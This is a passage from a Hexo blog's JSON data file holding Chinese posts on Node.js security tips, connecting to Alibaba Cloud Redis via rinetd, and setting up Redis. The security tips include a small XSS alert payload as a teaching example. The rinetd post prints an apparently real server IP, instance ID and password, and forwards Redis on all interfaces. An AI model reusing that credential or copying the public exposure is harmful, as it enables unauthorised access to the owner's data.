下不要直接使用 sudo node app.js</h2><p>这样如果产生错误，会让整个系统宕机，可以使用 nginx 反向代理。</p>\n<h2 id=\"6-避免-shell-command-注入\"><a href=\"#6-避免-shell-command-注入\" class=\"headerlink\" title=\"6. 避免 shell command 注入\"></a>6. 避免 shell command 注入</h2><pre><code class=\"-t\">child_process.exec(&#39;ls&#39;, function (err, data) {\n    console.log(data);\n});\n</code></pre>\n<p>上面的 child_process.exec 调用的是 /bin/sh ,也就是执行了一个解释器。</p>\n<blockquote>\n<p>为了避免这个问题，我们可以使用：child_process.execFile。</p>\n</blockquote>\n<h2 id=\"7-临时文件\"><a href=\"#7-临时文件\" class=\"headerlink\" title=\"7. 临时文件\"></a>7. 临时文件</h2><p>创建文件时，处理上传的文件要注意，这些文件可能会吃掉你的磁盘所有空间。</p>\n<blockquote>\n<p>使用 Streams。</p>\n</blockquote>\n<h2 id=\"8-加密-Web-应用\"><a href=\"#8-加密-Web-应用\" class=\"headerlink\" title=\"8. 加密 Web 应用\"></a>8. 加密 Web 应用</h2><p>用 https 代替 http，请求的过程可以添加签名头。</p>\n<h2 id=\"9-Reflected-Cross-Site-Scripting\"><a href=\"#9-Reflected-Cross-Site-Scripting\" class=\"headerlink\" title=\"9. Reflected Cross Site Scripting\"></a>9. Reflected Cross Site Scripting</h2><p>也就是跨站脚本攻击，就是但用户发送一段数据，如果在未做任何处理的情况下直接插入 DOM，这可能会出现安全问题，例如：</p>\n<pre><code class=\"js\">//用户输入的数据中带脚本，如果不做处理，会被执行。\nIm human &lt;script&gt;alert(&#39;I‘m hacker&#39;)&lt;script&gt;\n</code></pre>\n<blockquote>\n<p>处理方式：1. 对插入的数据进行验证，除去 HTML。</p>\n</blockquote>\n<h2 id=\"10-看好你的-cookie\"><a href=\"#10-看好你的-cookie\" class=\"headerlink\" title=\"10. 看好你的 cookie\"></a>10. 看好你的 cookie</h2><p>默认情况下，cookie 可以通过 js 在同一个域中读取，这就有可能会被跨站点脚本攻击，而且可能被第三方库读取。为了处理这种情况，我们可以在 cookies 上使用 HTTPOnly，这个标签可以让 js 无法读取。</p>\n<h2 id=\"11-内容安全策略（CSP）\"><a href=\"#11-内容安全策略（CSP）\" class=\"headerlink\" title=\"11. 内容安全策略（CSP）\"></a>11. 内容安全策略（CSP）</h2><p>附加的安全层，可以检测和缓解某类攻击，例如：XSS、数据注入。启用方法如下：</p>\n<pre><code class=\"-t\">Content-Security-Policy: default-src &#39;self&#39; *.mydomain.com\n</code></pre>\n<h2 id=\"12-Cross-Site-Request-Forgery\"><a href=\"#12-Cross-Site-Request-Forgery\" class=\"headerlink\" title=\"12. Cross-Site Request Forgery\"></a>12. Cross-Site Request Forgery</h2><p>跨站请求伪造是一种迫使终端用户在他目前已验证授权的Web应用程序中执行其它的actions。node 社区已实现，可以使用同步令牌模式处理。</p>\n"},{"title":"node连接阿里云redis","date":"2018-04-24T10:45:42.000Z","_content":"# node 连接云 redis\n\n## 1. 要求\n\n1. 若 Redis 实例属于专有网络（VPC），ECS 必须与 Redis 实例属于同一个 VPC。\n2. 若 Redis 实例属于经典网络，ECS 必须与 Redis 实例属于同一节点（地域）。\n3. 若 Redis 实例开启了 IP 白名单，必须将 ECS 的内网地址加入白名单列表内。\n\n## 2. 在云服务器 ECS Linux 中安装 rinetd\n\nredis-cli -h 101.132.156.228 -a  r-uf60a44b13666134:'123456Jzx'\n\n```js\nwget http://www.boutell.com/rinetd/http/rinetd.tar.gz&&tar -xvf rinetd.tar.gz&&cd rinetd\nsed -i 's/65536/65535/g' rinetd.c (修改端口范围)\nmkdir /usr/man&&make&&make install\n```\n\n> 注意：rinetd 安装包下载地址不确保下载可用性，您可以自行搜索安装包进行下载使用。\n\n## 3. 打开配置文件 rinetd.conf\n\nvi /etc/rinetd.conf\n\n## 4. 在配置文件中输入如下内容\n\n```js\n0.0.0.0 6379 Redis 的链接地址 6379\nlogfile /var/log/rinetd.log\n```\n\n> 说明：您可以使用 cat /etc/rinetd.conf命令来检验配置文件是否修改正确。\n\n## 5. 执行如下命令启动 rinetd\n\n```js\nrinetd\n```\n\n> 注意\n> ○ 您可以通过 echo rinetd >>/etc/rc.local 将 rinetd 设置为自启动。\n> ○ 若遇到绑定报错，可以执行 pkill rinetd 结束进程，再执行 rinetd启动进程 rinetd。\n> ○ rinetd 正常启动后， 执行netstat -anp | grep 6379 确认服务是否正常运行。\n\n## 6. 在本地进行验证测试\n\n```m\n您可以在本地通过 redis-cli 连接 ECS Linux 服务器后进行登录验证，比如安装了 rinetd 的服务器的 IP 是 1.1.1.1，即redis-cli -h 1.1.1.1 -a Redis的实例ID:Redis密码。或者通过 telent 连接 ECS Linux 服务器后进行操作验证。假设 ECS Linux 服务器的 IP 是 1.1.1.1，即 telnet 1.1.1.1 6379。\n连接上 ECS Linux 服务器后，输入连接 Redis 的密码：auth Redis的连接密码。\n进行数据写入及查询验证。\n```\n\n## 7. 客户端连接 Redis\n\n```js\nconst redis = require('redis'),\n      RDS_PORT = 6379,\n      RDS_PWD = '密码',\n      RDS_HOST = '服务器ip',\n      RDS_OPTS = {},\n      client = redis.createClient(RDS_PORT, RDS_HOST, RDS_OPTS)\n\nclient.auth(RDS_PWD, function () {\n  console.log('通过认证')\n  client.set('author', 'jzx', redis.print)\n  client.get('author', redis.print)\n})\n```\n\n## 8. 小结\n\n* 注意 ECS \b若本地 redis-server \b打开则先关闭，\b否则转发的并不是云 redis，而是本地 ECS 服务, 命令如下\b面给出所示。\n\n```t\n/etc/init.d/redis-server stop\n/etc/init.d/redis-server start\n/etc/init.d/redis-server restart\n```\n\n* 将 ECS 安全组设置里 redis 端口开放，如：6379。\n","source":"_posts/node连接阿里云redis.md","raw":"---\ntitle: node连接阿里云redis\ndate: 2018-04-24 18:45:42\ntags: [redis, 阿里云]\ncategories: 数据库\n---\n# node 连接云 redis\n\n## 1. 要求\n\n1. 若 Redis 实例属于专有网络（VPC），ECS 必须与 Redis 实例属于同一个 VPC。\n2. 若 Redis 实例属于经典网络，ECS 必须与 Redis 实例属于同一节点（地域）。\n3. 若 Redis 实例开启了 IP 白名单，必须将 ECS 的内网地址加入白名单列表内。\n\n## 2. 在云服务器 ECS Linux 中安装 rinetd\n\nredis-cli -h 101.132.156.228 -a  r-uf60a44b13666134:'123456Jzx'\n\n```js\nwget http://www.boutell.com/rinetd/http/rinetd.tar.gz&&tar -xvf rinetd.tar.gz&&cd rinetd\nsed -i 's/65536/65535/g' rinetd.c (修改端口范围)\nmkdir /usr/man&&make&&make install\n```\n\n> 注意：rinetd 安装包下载地址不确保下载可用性，您可以自行搜索安装包进行下载使用。\n\n## 3. 打开配置文件 rinetd.conf\n\nvi /etc/rinetd.conf\n\n## 4. 在配置文件中输入如下内容\n\n```js\n0.0.0.0 6379 Redis 的链接地址 6379\nlogfile /var/log/rinetd.log\n```\n\n> 说明：您可以使用 cat /etc/rinetd.conf命令来检验配置文件是否修改正确。\n\n## 5. 执行如下命令启动 rinetd\n\n```js\nrinetd\n```\n\n> 注意\n> ○ 您可以通过 echo rinetd >>/etc/rc.local 将 rinetd 设置为自启动。\n> ○ 若遇到绑定报错，可以执行 pkill rinetd 结束进程，再执行 rinetd启动进程 rinetd。\n> ○ rinetd 正常启动后， 执行netstat -anp | grep 6379 确认服务是否正常运行。\n\n## 6. 在本地进行验证测试\n\n```m\n您可以在本地通过 redis-cli 连接 ECS Linux 服务器后进行登录验证，比如安装了 rinetd 的服务器的 IP 是 1.1.1.1，即redis-cli -h 1.1.1.1 -a Redis的实例ID:Redis密码。或者通过 telent 连接 ECS Linux 服务器后进行操作验证。假设 ECS Linux 服务器的 IP 是 1.1.1.1，即 telnet 1.1.1.1 6379。\n连接上 ECS Linux 服务器后，输入连接 Redis 的密码：auth Redis的连接密码。\n进行数据写入及查询验证。\n```\n\n## 7. 客户端连接 Redis\n\n```js\nconst redis = require('redis'),\n      RDS_PORT = 6379,\n      RDS_PWD = '密码',\n      RDS_HOST = '服务器ip',\n      RDS_OPTS = {},\n      client = redis.createClient(RDS_PORT, RDS_HOST, RDS_OPTS)\n\nclient.auth(RDS_PWD, function () {\n  console.log('通过认证')\n  client.set('author', 'jzx', redis.print)\n  client.get('author', redis.print)\n})\n```\n\n## 8. 小结\n\n* 注意 ECS \b若本地 redis-server \b打开则先关闭，\b否则转发的并不是云 redis，而是本地 ECS 服务, 命令如下\b面给出所示。\n\n```t\n/etc/init.d/redis-server stop\n/etc/init.d/redis-server start\n/etc/init.d/redis-server restart\n```\n\n* 将 ECS 安全组设置里 redis 端口开放，如：6379。\n","slug":"node连接阿里云redis","published":1,"updated":"2018-04-24T12:07:18.000Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5e001jvzqh1z3j6uxh","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h1 id=\"node-连接云-redis\"><a href=\"#node-连接云-redis\" class=\"headerlink\" title=\"node 连接云 redis\"></a>node 连接云 redis</h1><h2 id=\"1-要求\"><a href=\"#1-要求\" class=\"headerlink\" title=\"1. 要求\"></a>1. 要求</h2><ol>\n<li>若 Redis 实例属于专有网络（VPC），ECS 必须与 Redis 实例属于同一个 VPC。</li>\n<li>若 Redis 实例属于经典网络，ECS 必须与 Redis 实例属于同一节点（地域）。</li>\n<li>若 Redis 实例开启了 IP 白名单，必须将 ECS 的内网地址加入白名单列表内。</li>\n</ol>\n<h2 id=\"2-在云服务器-ECS-Linux-中安装-rinetd\"><a href=\"#2-在云服务器-ECS-Linux-中安装-rinetd\" class=\"headerlink\" title=\"2. 在云服务器 ECS Linux 中安装 rinetd\"></a>2. 在云服务器 ECS Linux 中安装 rinetd</h2><p>redis-cli -h 101.132.156.228 -a  r-uf60a44b13666134:’123456Jzx’</p>\n<pre><code class=\"js\">wget http://www.boutell.com/rinetd/http/rinetd.tar.gz&amp;&amp;tar -xvf rinetd.tar.gz&amp;&amp;cd rinetd\nsed -i &#39;s/65536/65535/g&#39; rinetd.c (修改端口范围)\nmkdir /usr/man&amp;&amp;make&amp;&amp;make install\n</code></pre>\n<blockquote>\n<p>注意：rinetd 安装包下载地址不确保下载可用性，您可以自行搜索安装包进行下载使用。</p>\n</blockquote>\n<h2 id=\"3-打开配置文件-rinetd-conf\"><a href=\"#3-打开配置文件-rinetd-conf\" class=\"headerlink\" title=\"3. 打开配置文件 rinetd.conf\"></a>3. 打开配置文件 rinetd.conf</h2><p>vi /etc/rinetd.conf</p>\n<h2 id=\"4-在配置文件中输入如下内容\"><a href=\"#4-在配置文件中输入如下内容\" class=\"headerlink\" title=\"4. 在配置文件中输入如下内容\"></a>4. 在配置文件中输入如下内容</h2><pre><code class=\"js\">0.0.0.0 6379 Redis 的链接地址 6379\nlogfile /var/log/rinetd.log\n</code></pre>\n<blockquote>\n<p>说明：您可以使用 cat /etc/rinetd.conf命令来检验配置文件是否修改正确。</p>\n</blockquote>\n<h2 id=\"5-执行如下命令启动-rinetd\"><a href=\"#5-执行如下命令启动-rinetd\" class=\"headerlink\" title=\"5. 执行如下命令启动 rinetd\"></a>5. 执行如下命令启动 rinetd</h2><pre><code class=\"js\">rinetd\n</code></pre>\n<blockquote>\n<p>注意<br>○ 您可以通过 echo rinetd &gt;&gt;/etc/rc.local 将 rinetd 设置为自启动。<br>○ 若遇到绑定报错，可以执行 pkill rinetd 结束进程，再执行 rinetd启动进程 rinetd。<br>○ rinetd 正常启动后， 执行netstat -anp | grep 6379 确认服务是否正常运行。</p>\n</blockquote>\n<h2 id=\"6-在本地进行验证测试\"><a href=\"#6-在本地进行验证测试\" class=\"headerlink\" title=\"6. 在本地进行验证测试\"></a>6. 在本地进行验证测试</h2><pre><code class=\"m\">您可以在本地通过 redis-cli 连接 ECS Linux 服务器后进行登录验证，比如安装了 rinetd 的服务器的 IP 是 1.1.1.1，即redis-cli -h 1.1.1.1 -a Redis的实例ID:Redis密码。或者通过 telent 连接 ECS Linux 服务器后进行操作验证。假设 ECS Linux 服务器的 IP 是 1.1.1.1，即 telnet 1.1.1.1 6379。\n连接上 ECS Linux 服务器后，输入连接 Redis 的密码：auth Redis的连接密码。\n进行数据写入及查询验证。\n</code></pre>\n<h2 id=\"7-客户端连接-Redis\"><a href=\"#7-客户端连接-Redis\" class=\"headerlink\" title=\"7. 客户端连接 Redis\"></a>7. 客户端连接 Redis</h2><pre><code class=\"js\">const redis = require(&#39;redis&#39;),\n      RDS_PORT = 6379,\n      RDS_PWD = &#39;密码&#39;,\n      RDS_HOST = &#39;服务器ip&#39;,\n      RDS_OPTS = {},\n      client = redis.createClient(RDS_PORT, RDS_HOST, RDS_OPTS)\n\nclient.auth(RDS_PWD, function () {\n  console.log(&#39;通过认证&#39;)\n  client.set(&#39;author&#39;, &#39;jzx&#39;, redis.print)\n  client.get(&#39;author&#39;, redis.print)\n})\n</code></pre>\n<h2 id=\"8-小结\"><a href=\"#8-小结\" class=\"headerlink\" title=\"8. 小结\"></a>8. 小结</h2><ul>\n<li>注意 ECS \b若本地 redis-server \b打开则先关闭，\b否则转发的并不是云 redis，而是本地 ECS 服务, 命令如下\b面给出所示。</li>\n</ul>\n<pre><code class=\"t\">/etc/init.d/redis-server stop\n/etc/init.d/redis-server start\n/etc/init.d/redis-server restart\n</code></pre>\n<ul>\n<li>将 ECS 安全组设置里 redis 端口开放，如：6379。</li>\n</ul>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h1 id=\"node-连接云-redis\"><a href=\"#node-连接云-redis\" class=\"headerlink\" title=\"node 连接云 redis\"></a>node 连接云 redis</h1><h2 id=\"1-要求\"><a href=\"#1-要求\" class=\"headerlink\" title=\"1. 要求\"></a>1. 要求</h2><ol>\n<li>若 Redis 实例属于专有网络（VPC），ECS 必须与 Redis 实例属于同一个 VPC。</li>\n<li>若 Redis 实例属于经典网络，ECS 必须与 Redis 实例属于同一节点（地域）。</li>\n<li>若 Redis 实例开启了 IP 白名单，必须将 ECS 的内网地址加入白名单列表内。</li>\n</ol>\n<h2 id=\"2-在云服务器-ECS-Linux-中安装-rinetd\"><a href=\"#2-在云服务器-ECS-Linux-中安装-rinetd\" class=\"headerlink\" title=\"2. 在云服务器 ECS Linux 中安装 rinetd\"></a>2. 在云服务器 ECS Linux 中安装 rinetd</h2><p>redis-cli -h 101.132.156.228 -a  r-uf60a44b13666134:’123456Jzx’</p>\n<pre><code class=\"js\">wget http://www.boutell.com/rinetd/http/rinetd.tar.gz&amp;&amp;tar -xvf rinetd.tar.gz&amp;&amp;cd rinetd\nsed -i &#39;s/65536/65535/g&#39; rinetd.c (修改端口范围)\nmkdir /usr/man&amp;&amp;make&amp;&amp;make install\n</code></pre>\n<blockquote>\n<p>注意：rinetd 安装包下载地址不确保下载可用性，您可以自行搜索安装包进行下载使用。</p>\n</blockquote>\n<h2 id=\"3-打开配置文件-rinetd-conf\"><a href=\"#3-打开配置文件-rinetd-conf\" class=\"headerlink\" title=\"3. 打开配置文件 rinetd.conf\"></a>3. 打开配置文件 rinetd.conf</h2><p>vi /etc/rinetd.conf</p>\n<h2 id=\"4-在配置文件中输入如下内容\"><a href=\"#4-在配置文件中输入如下内容\" class=\"headerlink\" title=\"4. 在配置文件中输入如下内容\"></a>4. 在配置文件中输入如下内容</h2><pre><code class=\"js\">0.0.0.0 6379 Redis 的链接地址 6379\nlogfile /var/log/rinetd.log\n</code></pre>\n<blockquote>\n<p>说明：您可以使用 cat /etc/rinetd.conf命令来检验配置文件是否修改正确。</p>\n</blockquote>\n<h2 id=\"5-执行如下命令启动-rinetd\"><a href=\"#5-执行如下命令启动-rinetd\" class=\"headerlink\" title=\"5. 执行如下命令启动 rinetd\"></a>5. 执行如下命令启动 rinetd</h2><pre><code class=\"js\">rinetd\n</code></pre>\n<blockquote>\n<p>注意<br>○ 您可以通过 echo rinetd &gt;&gt;/etc/rc.local 将 rinetd 设置为自启动。<br>○ 若遇到绑定报错，可以执行 pkill rinetd 结束进程，再执行 rinetd启动进程 rinetd。<br>○ rinetd 正常启动后， 执行netstat -anp | grep 6379 确认服务是否正常运行。</p>\n</blockquote>\n<h2 id=\"6-在本地进行验证测试\"><a href=\"#6-在本地进行验证测试\" class=\"headerlink\" title=\"6. 在本地进行验证测试\"></a>6. 在本地进行验证测试</h2><pre><code class=\"m\">您可以在本地通过 redis-cli 连接 ECS Linux 服务器后进行登录验证，比如安装了 rinetd 的服务器的 IP 是 1.1.1.1，即redis-cli -h 1.1.1.1 -a Redis的实例ID:Redis密码。或者通过 telent 连接 ECS Linux 服务器后进行操作验证。假设 ECS Linux 服务器的 IP 是 1.1.1.1，即 telnet 1.1.1.1 6379。\n连接上 ECS Linux 服务器后，输入连接 Redis 的密码：auth Redis的连接密码。\n进行数据写入及查询验证。\n</code></pre>\n<h2 id=\"7-客户端连接-Redis\"><a href=\"#7-客户端连接-Redis\" class=\"headerlink\" title=\"7. 客户端连接 Redis\"></a>7. 客户端连接 Redis</h2><pre><code class=\"js\">const redis = require(&#39;redis&#39;),\n      RDS_PORT = 6379,\n      RDS_PWD = &#39;密码&#39;,\n      RDS_HOST = &#39;服务器ip&#39;,\n      RDS_OPTS = {},\n      client = redis.createClient(RDS_PORT, RDS_HOST, RDS_OPTS)\n\nclient.auth(RDS_PWD, function () {\n  console.log(&#39;通过认证&#39;)\n  client.set(&#39;author&#39;, &#39;jzx&#39;, redis.print)\n  client.get(&#39;author&#39;, redis.print)\n})\n</code></pre>\n<h2 id=\"8-小结\"><a href=\"#8-小结\" class=\"headerlink\" title=\"8. 小结\"></a>8. 小结</h2><ul>\n<li>注意 ECS \b若本地 redis-server \b打开则先关闭，\b否则转发的并不是云 redis，而是本地 ECS 服务, 命令如下\b面给出所示。</li>\n</ul>\n<pre><code class=\"t\">/etc/init.d/redis-server stop\n/etc/init.d/redis-server start\n/etc/init.d/redis-server restart\n</code></pre>\n<ul>\n<li>将 ECS 安全组设置里 redis 端口开放，如：6379。</li>\n</ul>\n"},{"title":"redis环境搭建","date":"2018-03-07T02:35:17.000Z","_content":"# redis 环境搭建\n\n## 下载\n\n[官方网站](https://redis.io/)\n\n## 安装\n\n```js\n解压\ntar zxvf redis-4.0.8.tar.gz\n移动文件夹\nmv redis-4.0.8 /usr/local/\n打开该文件夹\ncd /usr/local/redis-4.0.8/\n编译测试\nsudo make test\n编译安装\nsudo make install\n```\n\n## 启动\n\n```js\nredis-server\n```\n\n## 配置\n\n```t\n新建目录\nsudo mkdir  redis-4.0.8/bin\nsudo mkdir  redis-4.0.8/etc\nsudo mkdir  redis-4.0.8/db\n拷贝文件\ncp src/mkreleasehdr.sh bin\ncp src/redis-benchmark bin\ncp src/redis-check-rdb bin\ncp src/redis-cli bin\ncp src/redis-server bin\n```\n\n## 修改redis.conf\n\n```t\n#修改为守护模式\ndaemonize yes\n#设置进程锁文件\npidfile /usr/local/redis-3.2.8/redis.pid\n#端口\nport 6379\n#客户端超时时间\ntimeout 300\n#日志级别\nloglevel debug\n#日志文件位置\nlogfile /usr/local/redis-3.2.8/log-redis.log\n#设置数据库的数量，默认数据库为0，可以使用SELECT <dbid>命令在连接上指定数据库id\ndatabases 16\n##指定在多长时间内，有多少次更新操作，就将数据同步到数据文件，可以多个条件配合\n#save <seconds> <changes>\n#Redis默认配置文件中提供了三个条件：\nsave 900 1\nsave 300 10\nsave 60 10000\n#指定存储至本地数据库时是否压缩数据，默认为yes，Redis采用LZF压缩，如果为了节省CPU时间，\n#可以关闭该#选项，但会导致数据库文件变的巨大\nrdbcompression yes\n#指定本地数据库文件名\ndbfilename dump.rdb\n#指定本地数据库路径\ndir /usr/local/redis-3.2.8/db/\n#指定是否在每次更新操作后进行日志记录，Redis在默认情况下是异步的把数据写入磁盘，如果不开启，可能\n#会在断电时导致一段时间内的数据丢失。因为 redis本身同步数据文件是按上面save条件来同步的，所以有\n#的数据会在一段时间内只存在于内存中\nappendonly no\n#指定更新日志条件，共有3个可选值：\n#no：表示等操作系统进行数据缓存同步到磁盘（快）\n#always：表示每次更新操作后手动调用fsync()将数据写到磁盘（慢，安全）\n#everysec：表示每秒同步一次（折衷，默认值）\nappendfsync everysec\n```\n\n## 启动服务\n\n```t\n启动\n./bin/redis-server etc/redis.conf\n查看日志\ntail -f log-redis.log\nOK\n./bin/redis-cli\n```\n\n## 基本命令\n\n```redis\n查看所有数据\nkeys *\n插入键值对\n\bset a b\n查看数据\nget a\n```\n\n\n","source":"_posts/redis环境搭建.md","raw":"---\ntitle: redis环境搭建\ndate: 2018-03-07 10:35:17\ntags: [redis]\ncategories: 数据库\n---\n# redis 环境搭建\n\n## 下载\n\n[官方网站](https://redis.io/)\n\n## 安装\n\n```js\n解压\ntar zxvf redis-4.0.8.tar.gz\n移动文件夹\nmv redis-4.0.8 /usr/local/\n打开该文件夹\ncd /usr/local/redis-4.0.8/\n编译测试\nsudo make test\n编译安装\nsudo make install\n```\n\n## 启动\n\n```js\nredis-server\n```\n\n## 配置\n\n```t\n新建目录\nsudo mkdir  redis-4.0.8/bin\nsudo mkdir  redis-4.0.8/etc\nsudo mkdir  redis-4.0.8/db\n拷贝文件\ncp src/mkreleasehdr.sh bin\ncp src/redis-benchmark bin\ncp src/redis-check-rdb bin\ncp src/redis-cli bin\ncp src/redis-server bin\n```\n\n## 修改redis.conf\n\n```t\n#修改为守护模式\ndaemonize yes\n#设置进程锁文件\npidfile /usr/local/redis-3.2.8/redis.pid\n#端口\nport 6379\n#客户端超时时间\ntimeout 300\n#日志级别\nloglevel debug\n#日志文件位置\nlogfile /usr/local/redis-3.2.8/log-redis.log\n#设置数据库的数量，默认数据库为0，可以使用SELECT <dbid>命令在连接上指定数据库id\ndatabases 16\n##指定在多长时间内，有多少次更新操作，就将数据同步到数据文件，可以多个条件配合\n#save <seconds> <changes>\n#Redis默认配置文件中提供了三个条件：\nsave 900 1\nsave 300 10\nsave 60 10000\n#指定存储至本地数据库时是否压缩数据，默认为yes，Redis采用LZF压缩，如果为了节省CPU时间，\n#可以关闭该#选项，但会导致数据库文件变的巨大\nrdbcompression yes\n#指定本地数据库文件名\ndbfilename dump.rdb\n#指定本地数据库路径\ndir /usr/local/redis-3.2.8/db/\n#指定是否在每次更新操作后进行日志记录，Redis在默认情况下是异步的把数据写入磁盘，如果不开启，可能\n#会在断电时导致一段时间内的数据丢失。因为 redis本身同步数据文件是按上面save条件来同步的，所以有\n#的数据会在一段时间内只存在于内存中\nappendonly no\n#指定更新日志条件，共有3个可选值：\n#no：表示等操作系统进行数据缓存同步到磁盘（快）\n#always：表示每次更新操作后手动调用fsync()将数据写到磁盘（慢，安全）\n#everysec：表示每秒同步一次（折衷，默认值）\nappendfsync everysec\n```\n\n## 启动服务\n\n```t\n启动\n./bin/redis-server etc/redis.conf\n查看日志\ntail -f log-redis.log\nOK\n./bin/redis-cli\n```\n\n## 基本命令\n\n```redis\n查看所有数据\nkeys *\n插入键值对\n\bset a b\n查看数据\nget a\n```\n\n\n","slug":"redis环境搭建","published":1,"updated":"2018-04-24T10:43:46.213Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5i001nvzqhwg44uenr","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h1 id=\"redis-环境搭建\"><a href=\"#redis-环境搭建\" class=\"headerlink\" title=\"redis 环境搭建\"></a>redis 环境搭建</h1><h2 id=\"下载\"><a href=\"#下载\" class=\"headerlink\" title=\"下载\"></a>下载</h2><p><a href=\"https://redis.io/\" target=\"_blank\" rel=\"noopener\">官方网站</a></p>\n<h2 id=\"安装\"><a href=\"#安装\" class=\"headerlink\" title=\"安装\"></a>安装</h2><pre><code class=\"js\">解压\ntar zxvf redis-4.0.8.tar.gz\n移动文件夹\nmv redis-4.0.8 /usr/local/\n打开该文件夹\ncd /usr/local/redis-4.0.8/\n编译测试\nsudo make test\n编译安装\nsudo make install\n</code></pre>\n<h2 id=\"启动\"><a href=\"#启动\" class=\"headerlink\" title=\"启动\"></a>启动</h2><pre><code class=\"js\">redis-server\n</code></pre>\n<h2 id=\"配置\"><a href=\"#配置\" class=\"headerlink\" title=\"配置\"></a>配置</h2><pre><code class=\"t\">新建目录\nsudo mkdir  redis-4.0.8/bin\nsudo mkdir  redis-4.0.8/etc\nsudo mkdir  redis-4.0.8/db\n拷贝文件\ncp src/mkreleasehdr.sh bin\ncp src/redis-benchmark bin\ncp src/redis-check-rdb bin\ncp src/redis-cli bin\ncp src/redis-server bin\n</code></pre>\n<h2 id=\"修改redis-conf\"><a href=\"#修改redis-conf\" class=\"headerlink\" 